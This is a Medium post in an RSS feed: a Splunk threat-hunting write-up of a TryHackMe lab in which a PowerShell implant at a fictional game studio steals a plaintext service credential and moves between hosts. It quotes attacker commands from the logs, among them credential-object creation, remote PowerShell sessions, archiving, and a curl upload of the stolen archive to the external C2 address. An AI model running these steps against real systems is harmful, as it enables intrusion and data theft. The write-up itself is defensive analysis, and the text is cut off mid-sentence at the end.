<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Baraa Mohamed on Medium]]></title>
        <description><![CDATA[Stories by Baraa Mohamed on Medium]]></description>
        <link>https://medium.com/@it.baraa.mohamed?source=rss-f11525fd6cb9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*zmB-aFltr2LhT_zhug9CHQ.jpeg</url>
            <title>Stories by Baraa Mohamed on Medium</title>
            <link>https://medium.com/@it.baraa.mohamed?source=rss-f11525fd6cb9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 08:52:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@it.baraa.mohamed/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Four Hours, One Config File: Hunting a Quiet Intruder at a Game Studio]]></title>
            <link>https://medium.com/@it.baraa.mohamed/four-hours-one-config-file-hunting-a-quiet-intruder-at-a-game-studio-ceb5e9ec9965?source=rss-f11525fd6cb9------2</link>
            <guid isPermaLink="false">https://medium.com/p/ceb5e9ec9965</guid>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[mitre-attack]]></category>
            <dc:creator><![CDATA[Baraa Mohamed]]></dc:creator>
            <pubDate>Tue, 17 Nov 2026 18:32:55 GMT</pubDate>
            <atom:updated>2026-11-17T18:32:55.975Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OGqlkYFDeNMtD51O-nAH3A.png" /></figure><blockquote><em>A Splunk-led threat hunt through TryHackMe’s “Quiet as the Grave”, following a PowerShell implant, exposed credentials, and an intrusion across multiple Windows hosts.</em></blockquote><p>The most important discovery in this investigation wasn’t a malware sample or an exploit. It was a deployment configuration file containing a service account credential in plain text.</p><p>That single file changed the scope of the incident.</p><p>Before it was accessed, the activity was concentrated on one developer workstation. Afterward, the same PowerShell implant began using valid credentials to move between internal systems, explore resources, and collect data related to an unreleased game project.</p><p>This is how I reconstructed the attack, one event and one log source at a time.</p><h3>1. Introduction</h3><p>The investigation took place in TryHackMe’s <strong>Quiet as the Grave</strong>, a hard Threat Hunting Simulator scenario from the <em>It’s Downtime!</em> event, which ran from October 22 to 26, 2026.</p><p>The scenario places the analyst inside TryHatMe Studios, a game development company preparing to release its anticipated title, NeuralNexus.</p><p>A developer’s workstation appears to have been compromised through a file disguised as a project review helper. From there, the attacker used PowerShell and legitimate Windows tools to establish persistence, discover credentials, move laterally, and target internal project data.</p><p>The initial hypothesis was:</p><blockquote><em>TryHatMe Studios may have been compromised through a lure delivered to one of its developers, giving the actor a foothold from which it used valid credentials and legitimate Windows tooling to move through the environment toward the studio’s unreleased NeuralNexus work.</em></blockquote><p>The investigation started with a small set of indicators:</p><ul><li><strong>IP address:</strong> 45.147.230.131</li><li><strong>Port:</strong> TCP 8443</li><li><strong>PowerShell script:</strong> review-helper.ps1</li><li><strong>Archive:</strong> review-cache.zip</li></ul><p>These were starting points, not confirmed findings.</p><p>My objective was to establish how the intrusion started, how the attacker maintained access, which credentials were used, how far the activity reached, and what happened to the targeted data.</p><h3>2. Investigation Environment</h3><p>The simulated environment consisted of the TryHatMe Studios corporate network:</p><p>10.60.10.0/24</p><p>Four systems became central to the investigation:</p><ul><li><strong>THM-SREYES</strong> — Sophia Reyes’s developer workstation (10.60.10.20).</li><li><strong>THM-LSULLIVAN</strong> — Luke Sullivan’s system in IT service delivery.</li><li><strong>THM-MSMITH</strong> — Michelle Smith’s system in marketing.</li><li><strong>DC-01</strong> — The domain controller.</li></ul><p>The investigation was conducted using Splunk. The relevant events were stored in:</p><ul><li><strong>Index:</strong> main</li><li><strong>Sourcetype:</strong> _json</li></ul><p>Three log sources provided most of the evidence:</p><ul><li><strong>Sysmon:</strong> Event IDs 1, 3, 11, and 13, covering process creation, network connections, file writes, and registry changes.</li><li><strong>PowerShell Operational:</strong> Event IDs 4104, 4103, and 4100, covering script content, pipeline activity, and execution errors.</li><li><strong>Windows Security:</strong> Event IDs 4624, 4768, 4769, and 5140, covering logons, Kerberos authentication, and network share connections.</li></ul><p>One detail affected almost every search: the forwarder address appeared in Splunk’s host field, while the actual endpoint name was stored in ComputerName.</p><p>I also noticed that Sysmon’s internal UtcTime could differ slightly from Splunk&#39;s indexed _time. For process and network events, I used UtcTime whenever available.</p><p>All timestamps in this article are UTC on September 10, 2026.</p><h3>3. Investigation Overview</h3><p>Before diving into individual events, I reconstructed the attack as a sequence of nine stages:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UnwuYtZP2Bfd7UpPii1Mrg.png" /><figcaption><em>Reconstructed attack timeline from the TryHackMe simulator. All timestamps are UTC on September 10, 2026.</em></figcaption></figure><p>The timeline summarizes the main progression:</p><ol><li>Malicious PowerShell helper executed on THM-SREYES.</li><li>Persistence established through a Registry Run key.</li><li>Service credentials accessed from a configuration file.</li><li>Lateral movement to THM-LSULLIVAN.</li><li>Attempted PowerShell session to DC-01, denied.</li><li>Lateral movement to THM-MSMITH.</li><li>Local group and share enumeration attempted.</li><li>Data collected and archived.</li><li>Data exfiltration attempt toward the attacker’s server.</li></ol><p>The final stage needs an important distinction: the logs confirm that the upload command ran, but they do not confirm that the server successfully received the archive. I will return to this when examining the exfiltration evidence.</p><h3>4. The Investigation</h3><h3>Stage 1 — Initial Execution and Command-and-Control</h3><p>I started by searching for the supplied indicators across all available indexes. The goal was to establish whether they existed in the environment and identify the affected systems and time window.</p><p><strong>Splunk query:</strong></p><pre>index=* (&quot;review-helper.ps1&quot; OR &quot;review-cache.zip&quot; OR &quot;45.147.230.131&quot;)<br>| stats count min(_time) as first max(_time) as last by index, sourcetype, host<br>| convert ctime(first) ctime(last)<br>| sort first</pre><p><strong>Key result:</strong></p><pre>index   sourcetype   host                count   first       last<br>main    _json        10.49.109.66:8989   207     12:29:48    16:28:45</pre><p>The search returned <strong>207 events</strong> associated with the indicators, covering approximately four hours on a single day.</p><p>The first useful observation was that the activity was concentrated around one endpoint, THM-SREYES.</p><p>I then examined the network connections to the external IP and grouped them by process GUID.</p><p><strong>Splunk query:</strong></p><pre>index=* EventCode=3 DestinationIp=45.147.230.131<br>| stats count min(UtcTime) as first_conn max(UtcTime) as last_conn by ComputerName, Image, ProcessGuid, DestinationPort</pre><p><strong>Key result:</strong></p><pre>ProcessGuid                  Connections   First connection   Last connection<br>{...2f19...}                 9             12:29:49.069       12:39:49.742<br>{...f819...}                 152           12:44:08.714       16:28:43.742</pre><p>This was an important finding.</p><p>There were two separate PowerShell processes communicating with the same external server:</p><ul><li>The first process made 9 connections.</li><li>The second process made 152 connections.</li></ul><p>Together, they accounted for <strong>161 connections</strong> to 45.147.230.131.</p><p>The four-minute gap between the processes suggested that the first instance stopped and another instance started.</p><p>To identify the initial execution, I pivoted on the first process GUID.</p><p><strong>Splunk query:</strong></p><pre>index=* ComputerName=THM-SREYES EventCode=1 ProcessGuid=&quot;{3af46175-a2bc-6aa2-2f19-000000001100}&quot;<br>| table UtcTime, User, Image, CommandLine, ParentImage, ParentCommandLine, ParentProcessGuid, Hashes</pre><p><strong>Key result:</strong></p><pre>Time:          12:29:48.483<br>Process:       powershell.exe<br>Command line:  powershell.exe -NoProfile -File<br>               C:\Users\s.reyes\Downloads\NeuralNexusReview\review-helper.ps1<br>Parent:        C:\Windows\explorer.exe<br>User:          TRYHATME\s.reyes</pre><p>The parent process was explorer.exe, and the script was launched from a folder inside the user&#39;s Downloads directory.</p><p>This is consistent with a user opening a file through the Windows desktop environment. However, the process relationship alone does not prove that the user manually double-clicked the script.</p><p>Another important limitation: the hash recorded in Sysmon belonged to powershell.exe, not to review-helper.ps1. I could not establish a hash for the script itself from the available evidence.</p><h3>Stage 2 — Persistence Through a Registry Run Key</h3><p>The next question was whether the attacker maintained access after the initial execution.</p><p>I searched Sysmon file creation events for activity involving the script and its directory.</p><p><strong>Splunk query:</strong></p><pre>index=* ComputerName=THM-SREYES EventCode=11<br>(TargetFilename=&quot;*NeuralNexusReview*&quot; OR TargetFilename=&quot;*review-helper*&quot;)<br>| table UtcTime, Image, TargetFilename, User<br>| sort UtcTime</pre><p>The relevant result showed that at 12:37:20.331, PowerShell copied the script to:</p><pre>C:\Users\s.reyes\AppData\Local\NeuralNexus\review-helper.ps1</pre><p>That was not the original delivery of the script. It was a copy created by the running implant.</p><p>I then searched registry and file activity around the same period.</p><p><strong>Splunk query:</strong></p><pre>index=* ComputerName=THM-SREYES<br>UtcTime&gt;=&quot;2026-09-10 12:29&quot;<br>UtcTime&lt;=&quot;2026-09-10 12:44&quot;<br>(EventCode=13 OR EventCode=12 OR EventCode=14 OR EventCode=11 OR EventCode=4698 OR EventCode=7045)<br>| table UtcTime, EventCode, Image, TargetObject, Details, TargetFilename<br>| sort UtcTime</pre><p><strong>Key finding:</strong></p><p>At 12:37:20.331, PowerShell created a Registry Run value named:</p><pre>NeuralNexusReview</pre><p>Under:</p><pre>HKU\&lt;User SID&gt;\Software\Microsoft\Windows\CurrentVersion\Run</pre><p>The value launched the copied script:</p><pre>powershell.exe -NoProfile -File<br>&quot;C:\Users\s.reyes\AppData\Local\NeuralNexus\review-helper.ps1&quot;</pre><p>The file copy and registry modification happened at the same timestamp.</p><p>Later, at 12:44:04.082, a second PowerShell process started using the copied script.</p><p>The parent was another explorer.exe instance, with a different parent process GUID from the initial execution.</p><p>Additional registry and device activity around 12:43 was consistent with a new interactive session. However, the Security events I searched did not directly identify a logoff or logon event.</p><p>I found no scheduled task or service creation in the examined window.</p><p>The evidence therefore supports one persistence mechanism: <strong>Registry Run Keys</strong>.</p><h3>Stage 3 — Credential Discovery in a Configuration File</h3><p>After confirming the second PowerShell process, I examined the child processes created by both implant instances.</p><p><strong>Splunk query:</strong></p><pre>index=* ComputerName=THM-SREYES EventCode=1<br>(ParentProcessGuid=&quot;{3af46175-a2bc-6aa2-2f19-000000001100}&quot;<br>OR ParentProcessGuid=&quot;{3af46175-a614-6aa2-f819-000000001100}&quot;)<br>| table UtcTime, Image, CommandLine, ParentProcessGuid<br>| sort UtcTime</pre><p>The process tree showed commands such as:</p><pre>csc.exe<br>whoami.exe<br>nltest.exe /dsgetdc:tryhatmestudios.thm<br>net.exe user /domain<br>curl.exe</pre><p>The whoami and nltest commands indicated basic user and domain discovery.</p><p>But the process tree did not explain the most important part of the intrusion.</p><p>There were no child processes for several actions that later proved central to the attack. Commands such as New-PSSession, Copy-Item, and Compress-Archive ran as PowerShell cmdlets inside the existing process.</p><p>To understand what was happening, I turned to PowerShell Script Block Logging.</p><p><strong>Splunk query:</strong></p><pre>index=* ComputerName=THM-SREYES EventCode=4104<br>| table _time, Message<br>| sort _time</pre><p>At 13:01:41, one script block stood out:</p><pre>$cfg = Get-Content -Raw -LiteralPath C:\StudioProjects\NeuralNexus\tools\deploy-settings.json |<br>    ConvertFrom-Json</pre><pre>$cred = [pscredential]::new(<br>    $cfg.username,<br>    (ConvertTo-SecureString $cfg.password -AsPlainText -Force)<br>)</pre><p>This was the turning point.</p><p>The script read a deployment configuration file, parsed its contents as JSON, and converted the stored username and password into a PowerShell credential object.</p><p>The file was:</p><pre>C:\StudioProjects\NeuralNexus\tools\deploy-settings.json</pre><p>The logs did not reveal the file’s contents, so the credential’s origin and the reason it was stored there remain unknown.</p><p>However, later authentication events allowed me to identify the account being used.</p><p>The important point was that the attacker did not need to dump LSASS or deploy a credential-stealing utility. The credential was already available in a project configuration file.</p><h3>Stage 4 — Lateral Movement to THM-LSULLIVAN</h3><p>At 13:16:42, the PowerShell script used the credential object to open a remote session.</p><pre>$it = New-PSSession -ComputerName THM-LSULLIVAN -Credential $cred</pre><pre>Invoke-Command -Session $it -ScriptBlock {<br>    cmd.exe /c dir C:\ProgramData\StudioOps<br>}</pre><p>This was the first clear indication of lateral movement.</p><p>To verify whether the authentication succeeded and identify the account, I examined Windows Security Event ID 4624 on THM-LSULLIVAN.</p><p><strong>Splunk query:</strong></p><pre>index=* ComputerName=THM-LSULLIVAN EventCode=4624 &quot;10.60.10.20&quot;<br>| rex field=Message &quot;(?s)Logon Type:\s+(?&lt;lt&gt;\d+)&quot;<br>| rex field=Message &quot;(?s)New Logon:.*?Account Name:\s+(?&lt;acct&gt;\S+)&quot;<br>| rex field=Message &quot;Source Network Address:\s+(?&lt;src&gt;\S+)&quot;<br>| table _time ComputerName lt acct src<br>| sort _time</pre><p><strong>Key result:</strong></p><p>The search returned 18 successful network logons.</p><p>The relevant fields were:</p><pre>Account:       svc-studioops<br>Logon type:    3<br>Source:        10.60.10.20<br>First logon:   13:16:42<br>Last logon:    16:25:50</pre><p>This confirmed that the account svc-studioops was being used to authenticate from the developer workstation.</p><p>Sysmon provided another layer of confirmation. On THM-LSULLIVAN, wsmprovhost.exe created PowerShell policy test files under the service account&#39;s profile.</p><p>That activity was consistent with remote PowerShell sessions.</p><p>The credential was no longer just a value read from a file. It had become the mechanism used to access other systems.</p><h3>Stage 5 — Attempted Access to the Domain Controller</h3><p>The next objective was to determine how far the account could reach.</p><p>The script block logs showed an attempt to open a PowerShell session to DC-01 at 13:48:25.</p><p>I searched the domain controller’s Security events for activity involving the service account.</p><p><strong>Splunk query:</strong></p><pre>index=* ComputerName=DC-01<br>(EventCode=4624 OR EventCode=4625 OR EventCode=4768 OR EventCode=4769 OR EventCode=4776)<br>&quot;svc-studioops&quot;<br>| rex field=Message &quot;(?s)Logon Type:\s+(?&lt;lt&gt;\d+)&quot;<br>| rex field=Message &quot;Source Network Address:\s+(?&lt;src&gt;\S+)&quot;<br>| rex field=Message &quot;Status:\s+(?&lt;status&gt;0x\S+)&quot;<br>| table _time EventCode lt src status<br>| sort _time</pre><p>The results showed successful authentication activity involving the account.</p><p>However, successful authentication did not necessarily mean that the attacker had permission to perform the requested action.</p><p>The PowerShell Operational log provided the missing context.</p><p><strong>Splunk query:</strong></p><pre>index=* ComputerName=THM-SREYES EventCode=4100<br>| table _time Message<br>| sort _time</pre><p>At 13:48:25, the attempt to open a PowerShell session to DC-01 failed with:</p><pre>AccessDenied<br>PSSessionOpenFailed</pre><p>This distinction matters.</p><p>The account could authenticate, but the requested remote session was denied.</p><p>Further activity also showed unsuccessful attempts to access restricted resources, including:</p><ul><li>Appending whoami.exe to C:\ProgramData\StudioOps\maintenance\inventory.ps1.</li><li>Enumerating local groups and shares on THM-MSMITH.</li><li>Listing C:\ProgramData\StudioOps\admin.</li><li>Reading directory-ops.json.</li><li>Connecting to the backup share at \\10.60.10.11\Backups.</li></ul><p>These attempts produced access-denied or authentication errors.</p><p>There was one additional event worth investigating.</p><p>At 16:24:50, a PowerShell command attempted to map:</p><pre>\\DC-01\ReleaseStaging</pre><p>At 16:25:40, Event ID 5140 recorded a connection to the ReleaseStaging share.</p><p>The timing and sequence suggest that the two events are related. However, no Event ID 5145 file-level auditing events were available to confirm that any files were actually read.</p><p>I also did not investigate directory replication or NTDS access events, so I cannot make a claim about those activities.</p><p>The evidence shows that the attacker reached the domain controller’s authentication layer and connected to a share, but the attempted PowerShell session was denied. It does not establish that DC-01 was compromised.</p><h3>Stage 6 — Lateral Movement to THM-MSMITH</h3><p>At 15:03:36, the attacker opened another remote session, this time to THM-MSMITH.</p><p>The command was executed from the existing session on THM-LSULLIVAN:</p><pre>Invoke-Command -Session $it -ScriptBlock {<br>    param($hopCred)</pre><pre>    $global:marketing = New-PSSession `<br>        -ComputerName THM-MSMITH `<br>        -Credential $hopCred</pre><pre>    Invoke-Command -Session $global:marketing -ScriptBlock {<br>        cmd.exe /c dir C:\StudioMarketing\approved-release<br>    }<br>} -ArgumentList $cred</pre><p>An important detail here is the explicit passing of $cred into the inner command.</p><p>PowerShell Remoting has a double-hop limitation: credentials from the first remote session are not automatically reused to authenticate to a third system.</p><p>Passing the credential explicitly allowed the attacker to establish the second session.</p><p>A Kerberos ticket request for THM-MSMITH$ at 15:03:37 supported this sequence.</p><p>At 16:03:37, the attacker performed additional discovery:</p><pre>net.exe user<br>net.exe localgroup Administrators<br>net.exe share</pre><p>It also attempted recursive listings of:</p><pre>C:\StudioMarketing<br>C:\ProgramData\StudioOps</pre><p>The net.exe enumeration was denied, as confirmed by PowerShell Event ID 4100.</p><p>The available logs do not establish which of the directory listings returned data.</p><h3>Stage 7 — Local Group and Share Enumeration</h3><p>At this point, the investigation showed that the attacker had moved beyond the initial workstation and was exploring the permissions and resources available on the marketing host.</p><p>The relevant commands included:</p><pre>net user<br>net localgroup Administrators<br>net share</pre><p>These commands were intended to reveal local accounts, administrative group membership, and available shares.</p><p>The corresponding PowerShell errors showed that the net.exe enumeration was denied.</p><p>Another attempt to access administrative resources also failed.</p><p>The target directory was:</p><pre>C:\ProgramData\StudioOps\admin</pre><p>The script attempted to list the directory and read:</p><pre>directory-ops.json</pre><p>Both operations were denied.</p><p>The activity is important because it shows the difference between an attacker having valid credentials and having sufficient privileges.</p><p>A successful logon is not proof of administrative access.</p><p>The account could authenticate to multiple systems, but its permissions restricted what the attacker could do after authentication.</p><h3>Stage 8 — Data Collection and Archiving</h3><p>The final stage of the investigation began at 16:27:01.</p><p>PowerShell Script Block Logging captured the commands used to collect files from two locations.</p><p>First, the attacker opened a remote session to THM-MSMITH and copied the marketing release files:</p><pre>$marketingCopy = New-PSSession `<br>    -ComputerName THM-MSMITH `<br>    -Credential $cred</pre><pre>New-Item -ItemType Directory `<br>    -Path &quot;$env:TEMP\review-staging\marketing&quot; -Force</pre><pre>Copy-Item -FromSession $marketingCopy `<br>    -Path C:\StudioMarketing\approved-release\* `<br>    -Destination &quot;$env:TEMP\review-staging\marketing&quot; `<br>    -Recurse</pre><p>The attacker also copied the NeuralNexus release notes from the original workstation:</p><pre>Copy-Item `<br>    -Path C:\StudioProjects\NeuralNexus\release-notes `<br>    -Destination &quot;$env:TEMP\review-staging\project&quot; `<br>    -Recurse</pre><p>The two collection locations were therefore:</p><p><strong>THM-MSMITH:</strong></p><pre>C:\StudioMarketing\approved-release\</pre><p><strong>THM-SREYES:</strong></p><pre>C:\StudioProjects\NeuralNexus\release-notes</pre><p>The files were staged locally under:</p><pre>%TEMP%\review-staging</pre><p>At 16:27:28, the attacker compressed the staged data:</p><pre>Compress-Archive `<br>    -Path &quot;$env:TEMP\review-staging\*&quot; `<br>    -DestinationPath &quot;$env:TEMP\review-cache.zip&quot;</pre><p>This explained why the process tree did not show a separate archive utility.</p><p>Compress-Archive is a PowerShell cmdlet. It ran inside the existing PowerShell process, so the script block log provided the clearest evidence of the operation.</p><p>The archive was created at:</p><pre>%TEMP%\review-cache.zip</pre><p>I did not retrieve a file listing of the staging directory or the archive itself. Therefore, the exact filenames and sizes inside review-cache.zip are not established.</p><h3>Stage 9 — The Exfiltration Attempt</h3><p>At 16:27:54, the attacker executed the following command:</p><pre>curl.exe --fail --show-error --insecure --upload-file &quot;$env:TEMP\review-cache.zip&quot; https://45.147.230.131:8443/ingest/review-cache.zip</pre><p>Sysmon recorded the process creation event at:</p><pre>2026-09-10 16:27:54.338</pre><p>The parent process was the implant’s PowerShell process.</p><p>Three details stood out:</p><ul><li>The destination was the same IP and port used for the implant’s command-and-control communication.</li><li>The --upload-file option instructed curl to upload the archive.</li><li>The --insecure option disabled certificate validation.</li></ul><p>This was consistent with an attempt to send the collected archive through the same external endpoint used by the implant.</p><p>However, there is an important limitation.</p><p>The available telemetry confirmed the execution of the upload command, but it did not confirm successful transfer.</p><p>I found:</p><ul><li>No response code from the server.</li><li>No transfer byte count.</li><li>No Sysmon network connection event for curl.exe itself.</li><li>No confirmed server-side evidence showing that the archive was received.</li></ul><p>The absence of a PowerShell error is not enough to prove success, because curl is a native executable and its output was not established by the available logs.</p><p>Therefore, the accurate conclusion is:</p><p><strong>The upload command was executed, but successful exfiltration was not established.</strong></p><p>For incident response purposes, I would still treat the staged archive as potentially exposed.</p><p>The implant continued beaconing after the upload command. The last connection visible in the investigated data occurred at 16:28:43.</p><h3>5. Evidence Analysis</h3><p>Three findings carried most of the weight in this investigation.</p><h3>1. PowerShell Script Block Logging filled the gaps in process telemetry</h3><p>Sysmon process creation showed commands such as:</p><pre>whoami.exe<br>nltest.exe<br>net.exe<br>curl.exe</pre><p>But it did not show the complete attack.</p><p>The operations that mattered most were performed through PowerShell cmdlets inside the existing process:</p><ul><li>Reading the deployment configuration.</li><li>Creating credentials.</li><li>Opening remote sessions.</li><li>Copying files.</li><li>Compressing the collected data.</li></ul><p>Without Event ID 4104, much of the intrusion would have remained hidden behind a relatively small process tree.</p><h3>2. Authentication and authorization told different stories</h3><p>Windows Security logs showed that svc-studioops successfully authenticated to internal systems.</p><p>PowerShell Event ID 4100 showed that several operations were denied.</p><p>Reading only the authentication events could create the impression that the attacker had broad access. Reading only the error events could make the incident appear more contained than it was.</p><p>Correlating both sources revealed the actual situation:</p><p>The attacker had valid credentials and could move between systems, but the account’s permissions restricted several actions.</p><h3>3. The implant source code explained the C2 activity</h3><p>The script block containing the original review-helper.ps1 source revealed how the implant communicated with its controller.</p><p>It registered the host and user through /register, repeatedly polled /task, executed received commands through PowerShell script blocks, and sent results to /result.</p><p>It also contained a certificate pin and checked for a .ql-helper.stop file.</p><p>This explained why the attacker could issue commands without creating a new executable process for every action.</p><h3>4. Confirmed Findings, Inferences, and Unknowns</h3><p>A good threat-hunting report should distinguish what the logs prove from what they merely suggest.</p><h3>Confirmed in the logs</h3><ul><li>review-helper.ps1 was launched from the Downloads directory on THM-SREYES.</li><li>The first PowerShell process connected to 45.147.230.131:8443.</li><li>Two PowerShell processes made a total of 161 connections to the external IP.</li><li>A Registry Run key named NeuralNexusReview was created.</li><li>The persisted script launched a second PowerShell process.</li><li>deploy-settings.json was read and converted into a PowerShell credential object.</li><li>The account svc-studioops successfully authenticated to THM-LSULLIVAN.</li><li>Remote PowerShell sessions were opened to THM-LSULLIVAN and THM-MSMITH.</li><li>Several operations against restricted resources were denied.</li><li>The NeuralNexus release notes and marketing approved-release files were staged.</li><li>review-cache.zip was created.</li><li>An upload command targeting 45.147.230.131:8443 was executed.</li></ul><h3>Inferred from event correlation</h3><ul><li>A new interactive session began around 12:43, based on service and device registration activity.</li><li>The internal addresses 10.60.10.21 and 10.60.10.22 correspond to THM-LSULLIVAN and THM-MSMITH, respectively. This mapping was inferred from the event sequence, not confirmed by an asset inventory.</li><li>The ReleaseStaging share connection at 16:25:40 was related to the PowerShell mapping request at 16:24:50.</li><li>The initial script execution was consistent with a user opening a file through the desktop environment, based on the explorer.exe parent process.</li></ul><h3>Not established from the available evidence</h3><ul><li>How review-helper.ps1 originally reached the Downloads directory.</li><li>A hash of the PowerShell script itself.</li><li>The contents of deploy-settings.json and why the credential was stored there.</li><li>The exact files and sizes inside review-cache.zip.</li><li>Whether the upload completed successfully.</li><li>Whether any files were read from the DC-01 ReleaseStaging share.</li><li>Whether directory replication or NTDS access occurred on DC-01; these activities were not investigated.</li></ul><p>These limitations do not invalidate the investigation. They define what can responsibly be concluded from the available telemetry.</p><h3>6. MITRE ATT&amp;CK Mapping</h3><p>I mapped the techniques based on observed behavior, keeping attempted and denied actions separate from confirmed activity.</p><p><strong>Execution and Command-and-Control</strong></p><ul><li><strong>T1204.002 — User Execution: Malicious File:</strong> The script was launched by explorer.exe from the Downloads directory. This is consistent with user interaction, but does not prove a manual double-click.</li><li><strong>T1059.001 — PowerShell:</strong> Used for implant execution and operator commands.</li><li><strong>T1071.001 — Web Protocols:</strong> HTTPS communication with the external C2 server.</li></ul><p><strong>Persistence and Credential Access</strong></p><ul><li><strong>T1547.001 — Registry Run Keys / Startup Folder:</strong> The NeuralNexusReview Run key.</li><li><strong>T1552.001 — Unsecured Credentials: Credentials In Files:</strong> Credential retrieved from deploy-settings.json.</li><li><strong>T1078.002 — Valid Accounts: Domain Accounts:</strong> Use of the svc-studioops account.</li></ul><p><strong>Discovery and Lateral Movement</strong></p><ul><li><strong>T1033 — System Owner/User Discovery:</strong> whoami.exe.</li><li><strong>T1018 — Remote System Discovery:</strong> nltest /dsgetdc.</li><li><strong>T1087.002 — Account Discovery: Domain Account:</strong> net user /domain.</li><li><strong>T1083 — File and Directory Discovery:</strong> Directory listings across project and company folders.</li><li><strong>T1021.006 — Remote Services: Windows Remote Management:</strong> New-PSSession to internal hosts.</li><li><strong>T1087.001 — Account Discovery: Local Account:</strong> Attempted net user enumeration; denied.</li><li><strong>T1069.001 — Permission Groups Discovery: Local Groups:</strong> Attempted local Administrators enumeration; denied.</li><li><strong>T1135 — Network Share Discovery:</strong> Attempted net share enumeration; denied.</li></ul><p><strong>Collection and Exfiltration</strong></p><ul><li><strong>T1005 — Data from Local System:</strong> Collection of release notes and marketing files.</li><li><strong>T1074.001 — Local Data Staging:</strong> Files staged under review-staging.</li><li><strong>T1560 — Archive Collected Data:</strong> Compress-Archive created review-cache.zip.</li><li><strong>T1041 — Exfiltration Over C2 Channel:</strong> Upload command targeting the C2 server; completion unconfirmed.</li></ul><p>I did not assign techniques to actions where the intent or outcome could not be established from the available evidence.</p><h3>7. Detection Opportunities</h3><p>Several opportunities emerged from the investigation. These are the detections I would prioritize based on the observed behavior.</p><h3>Suspicious PowerShell execution</h3><p>Monitor PowerShell launched by explorer.exe with -NoProfile -File, especially when the script is located under user-writable directories such as Downloads or AppData.</p><p>The signal becomes stronger when followed by an unusual outbound connection.</p><h3>Registry persistence</h3><p>Alert on Run key values that launch PowerShell scripts from user profile directories.</p><p>Sysmon Event ID 13 can provide the registry modification evidence.</p><h3>Repeated external communication</h3><p>Monitor a PowerShell process repeatedly connecting to the same external IP over an unusual port.</p><p>In this investigation, the same destination was contacted 161 times.</p><h3>Credential access through configuration files</h3><p>Look for PowerShell script blocks combining:</p><pre>Get-Content<br>ConvertFrom-Json<br>ConvertTo-SecureString -AsPlainText</pre><p>Especially when followed by:</p><pre>New-PSSession -Credential</pre><p>This sequence can reveal credential access followed by remote authentication.</p><h3>Unusual service account activity</h3><p>Monitor service accounts generating network logons and Kerberos service tickets from developer workstations or other unexpected source systems.</p><p>Correlate:</p><ul><li>Event ID 4624 — Successful logon.</li><li>Event ID 4768 — Kerberos authentication ticket request.</li><li>Event ID 4769 — Kerberos service ticket request.</li></ul><h3>Remote PowerShell activity</h3><p>Investigate unexpected wsmprovhost.exe activity, especially when a workstation initiates remote sessions to multiple internal systems.</p><h3>Authentication followed by access-denied errors</h3><p>A sequence of successful authentication events followed by repeated PowerShell Event ID 4100 access-denied errors can indicate an account being used to probe its permissions.</p><h3>Suspicious archive uploads</h3><p>Monitor for:</p><pre>curl.exe --insecure --upload-file</pre><p>when launched by PowerShell, particularly when the destination matches an address already associated with suspicious beaconing.</p><h3>8. Defensive Recommendations</h3><p>Based on the findings, I would prioritize the following defensive improvements:</p><ol><li><strong>Remove plaintext credentials from configuration files.</strong> Use a proper secrets-management solution and rotate svc-studioops.</li><li><strong>Restrict service account logon rights.</strong> Prevent unnecessary network logons from developer workstations and limit WinRM access to approved administrative systems.</li><li><strong>Maintain PowerShell and Sysmon visibility.</strong> Script Block Logging was essential to reconstructing the attack. Keep it enabled and ensure logs are collected centrally.</li><li><strong>Improve file-level share auditing.</strong> Event ID 5140 showed share connections, but Event ID 5145 data was unavailable to establish file-level access to sensitive shares.</li><li><strong>Monitor outbound traffic from endpoints.</strong> Investigate unfamiliar HTTPS destinations on non-standard ports and block confirmed malicious infrastructure.</li><li><strong>Apply application control to scripts in user-writable directories.</strong> Scripts launched from Downloads should not automatically be trusted.</li><li><strong>Improve process-level network telemetry.</strong> The missing network event for curl.exe made it harder to establish the outcome of the upload attempt.</li></ol><h3>9. Lessons Learned</h3><h3>A quiet process tree does not mean a quiet host</h3><p>One of the biggest lessons from this investigation was the limitation of relying on process creation events alone.</p><p>The attacker performed most of the meaningful work through PowerShell cmdlets. Without Script Block Logging, the investigation would have missed credential access, remote sessions, file collection, and archiving.</p><h3>Authentication is not authorization</h3><p>The service account could authenticate to multiple systems, but it could not perform every requested action.</p><p>Correlating successful logons with access-denied errors provided a much more accurate picture of the attacker’s actual privileges.</p><h3>Follow the evidence, not the assumption</h3><p>The initial hypothesis suggested that the attacker was targeting unreleased game data.</p><p>The evidence showed something more specific: the attacker collected NeuralNexus release notes and marketing approved-release files.</p><p>Likewise, the upload command was confirmed, but successful exfiltration was not.</p><p>The distinction matters. A strong investigation should not turn an attempted action into a confirmed outcome.</p><h3>Precision improves the investigation</h3><p>My first simulator submission scored 715 points. After reviewing the attack sequence and improving the separation between stages, the second submission reached 984 points, with 100% on techniques, tactics, assets, and IOCs.</p><p>The improvement came from making each stage more precise: matching it to its own evidence, using exact paths and process names, and separating confirmed activity from assumptions.</p><p>That is also a useful lesson beyond the simulator. A threat-hunting report becomes more valuable when every conclusion can be traced back to a specific event or command.</p><h3>10. Conclusion</h3><p>This investigation showed how a seemingly ordinary PowerShell helper could become the starting point for a multi-host intrusion.</p><p>The attacker used a single workstation, a Registry Run key, a plaintext service credential, and built-in Windows tools to move through the environment.</p><p>The most important turning point was not a sophisticated exploit. It was the discovery of a credential inside a project configuration file.</p><p>From there, the attacker reached multiple internal systems, attempted to access domain infrastructure, collected project and marketing data, and executed an upload command toward its external server.</p><p>The logs did not prove that the archive was successfully transferred, and they did not show how the 